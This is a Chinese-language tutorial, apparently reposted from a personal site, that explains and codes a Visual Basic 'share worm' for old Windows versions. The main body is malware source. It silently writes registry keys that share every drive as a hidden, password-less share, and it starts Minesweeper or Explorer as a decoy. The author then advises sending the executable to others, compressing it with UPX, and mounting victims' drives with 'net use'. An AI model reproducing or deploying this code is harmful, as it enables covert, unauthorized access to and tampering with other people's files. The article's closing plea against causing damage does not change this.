共享蠕蟲的原理及用VB編程的完成方法
發(fā)表時間:2023-08-03 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]作者:香水百合 VB是一個非常"美好"的編程語言,至少我是這么認(rèn)為的。原因有二:其一是,VB的英文名可以解釋為Very Beautiful,這是V...
作者:香水百合
VB是一個非常"美好"的編程語言,至少我是這么認(rèn)為的。原因有二:其一是,VB的英文名可以解釋為Very Beautiful,這是VB的"美";其二是,"好"字的五筆輸入碼是什么?"VB"是也,這就是我所謂的VB的"好"。嘻嘻,這樣的解釋夠Cool吧!
但事物都是有兩面性的,這么美的語言在有些人手里卻成了搞"破壞"的工具,被用來編寫病毒.最近網(wǎng)絡(luò)上的各種病毒層出不窮,其中有相當(dāng)一部分就是VB的杰作.比較有代表性的是共享蠕蟲病毒.今天我們就來讓它現(xiàn)出原形!
所謂的共享蠕蟲的病毒(network.vbs),它體積不但小巧(只有1K), 而且很具有破壞性!只要被這個病毒感染了的機(jī)器,所有的硬盤就會被完全共享,并且可以在局域網(wǎng)和因特網(wǎng)中傳播。下面我們先談?wù)勊脑怼?br> 我們知道,把一個目錄設(shè)置為共享的時候,如果在共享名后面加上$ 符號,那么這個目錄將變成一個隱含的共享目錄,即對方的機(jī)器上看不見這個共享目錄。但是如果對方知道共享目錄名,仍然是可以訪問的,只要在這個目錄后面加上$ 符號就可以了。
雖然對方看不見這個共享目錄,但是自己是可以看見的。這樣也是不行的,雖然我們已經(jīng)加上$ 符號,但是我們?nèi)匀豢梢园l(fā)現(xiàn)這個共享目錄的圖標(biāo)下面已經(jīng)加上了一個小手,表示這個目錄已經(jīng)被設(shè)置為共享。這樣使用者就會知道機(jī)器被人改動過了。而共享蠕蟲的高明之處就在于:不光是對方看不見這個共享目錄,而且連自己也是看不見這個共享目錄的,這樣就可以做到神不知,鬼不覺了。當(dāng)你把這個程序發(fā)過對方,對方執(zhí)行完以后,對方的機(jī)器就會被全部被共享,而對方卻不知道。
做到對方看不見很容易,只要在共享目錄名后面加上$ 符就可以了;而共享蠕蟲程序是怎么做到連自己也看不出來的呢?其實道理說出來也是很簡單的,秘密就在注冊表中。請看下面的例子:
1.運(yùn)行Regedit命令,打開注冊表;
2.找到下面的子鍵
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanManC$
3.在屏幕的右邊,你可以看見下面的內(nèi)容;
Flags 0x00000302(770)
Parm1enc (長度為零的二進(jìn)制值)
Parm2enc (長度為零的二進(jìn)制值)
Path "C:"
Remark "Remark By Scent Lily"
Type 0x00000000(0)
關(guān)鍵的地方就是Flag這個參數(shù),它的鍵值決定了共享目錄的類型。我們把Flags的值設(shè)為302(16進(jìn)制)就可以了。
知道原理以后,用VB編制共享蠕蟲的方法就很簡單了,大致的步驟如下:
1.用GetDriveType函數(shù)檢測機(jī)器從C盤開始的所有驅(qū)動器。軟驅(qū)我想就不必共享了,沒有什么實際意義的!
2.將找到的每一個驅(qū)動器后面加上$ 符作為一個子鍵(C$,D$,E$),寫入注冊表的LanMan子鍵下;
3.將每一個子鍵的"Flags"值設(shè)置為302(16進(jìn)制);
4.將"Path"設(shè)置成相應(yīng)的路徑;如果愿意,你可以對"Remark"進(jìn)行設(shè)置,比如,"某某到此一游了!",這樣就OK了;
4.如果你還想讓程序更隱蔽一點(diǎn),你可以在程序運(yùn)行的時候,先執(zhí)行一個程序,比如掃雷、空當(dāng)接龍,或者找開記事本、資源管理器等等。這樣,對方就更不容易識破了!
下面講一下程序的關(guān)鍵部分
Option Explicit
Dim WinDir As String
Const CommonPath = "SoftWareMicrosoftWindowsCurrentVersionNetworkLanMan"
Private Sub Form_Load()
Me.Hide
Dim buff As String, DriveNo As Integer, Result As Integer, Game
For DriveNo = 0 To 25 注釋:遍歷所有的26個驅(qū)動器
buff = Chr$(65 + DriveNo) + ":" 注釋:取驅(qū)動器符
Result = GetDriveType(buff) 注釋:調(diào)用API函數(shù)來獲得驅(qū)動器的類型
If Result = 3 Xor Result = 5 Then
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Flags", REG_DWORD, "770", 3 注釋:寫入共享的類型,這就是程序的關(guān)鍵所在
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Type", REG_DWORD, "0", 0
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Path", REG_SZ, buff, 4 注釋:寫入共享驅(qū)動器的路徑,就是"C:","D:"等等
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Parm2enc", REG_BINARY, 0, 0 注釋:寫入共享目錄的只讀訪問密碼;
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Parm1enc", REG_BINARY, 0, 0 注釋:寫入該共享目錄的完全訪問密碼;;
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Remark", REG_SZ, "Remark by scent lily!", 21 注釋:寫入一些注釋信息,比如“香水百合到此一游”
End If
Next DriveNo
GetWinDir 注釋:獲得windows目錄的路徑
If Dir(WinDir & "winmine.exe") <> "" Then 注釋:如果有掃雷游戲的話就在前臺執(zhí)行它
Game = Shell(WinDir & "WINMINE.EXE", vbMaximizedFocus)
Else
注釋:因為掃雷游戲不是必裝的,可能有的機(jī)器沒有安裝,但是資源管理器是肯定有的。所以,如果沒有掃雷游戲 就啟動一個資源管理器
Game = Shell(WinDir & "explorer", vbMaximizedFocus)
End If
Unload Me
End Sub
Public Sub GetWinDir() 注釋:獲得windows所在目錄的子程序
Dim Length As Long
WinDir = String(MAX_PATH, 0)
Length = GetWindowsDirectory(WinDir, MAX_PATH)
WinDir = Left(WinDir, InStr(WinDir, Chr(0)) - 1)
End Sub
完整的程序大家可以去網(wǎng)上下載(香水百合園http://scentlily.y365.com),其中的可執(zhí)行文件是用VB6.0編譯的,建議再用VB5.0重新編譯一下。這樣你只需要將這一個可執(zhí)行文件分發(fā)給別人就OK了,不需要其它的任何DLL文件,因為Win98和Win2000已經(jīng)自帶VB5.0的DLL文件啦。這樣就做成了一個綠色軟件。你再用UPX這個可執(zhí)行文件壓縮工具壓縮一下,就只有6K了,感覺很爽吧!
有很多朋友來信問我,即然對方和自己都看不見這個共享目錄,那到底怎么使用呢?其實方法也很簡單的,因為在網(wǎng)上鄰居里是看不見的,所以我們需要到DOS方式下去使用。命令如下:
語法:net use <映射的盤符> \對方的IPC$
例如:net use x: \192.168.0.2D$
執(zhí)行完這個命令以后,就將對方(192.168.0.2)的D盤映射成自己的X盤了。你就可以象使用C盤D盤那樣使用X盤了,當(dāng)你切換到X盤后,對X盤所進(jìn)行的操作,實際上就是對方的D盤進(jìn)行操作。
因為現(xiàn)在的網(wǎng)友都已經(jīng)很少愿意接收可執(zhí)行文件了,所以網(wǎng)上流行的共享蠕蟲程序是VBS格式的腳步語言。不過原理是一樣的,只是實現(xiàn)的方法不一樣罷了!
怎么樣!在別人機(jī)器上跳舞的感覺如何?一句話,"一切盡在掌握!",知道香水百合為什么用愛立信手機(jī)了吧!:)不過,還是要提醒你一句,看看就可以了,開開玩笑也沒問題,不過千萬不要搞破壞!因為VB是最"美好"的語言,不要破壞了她的美好形象噢!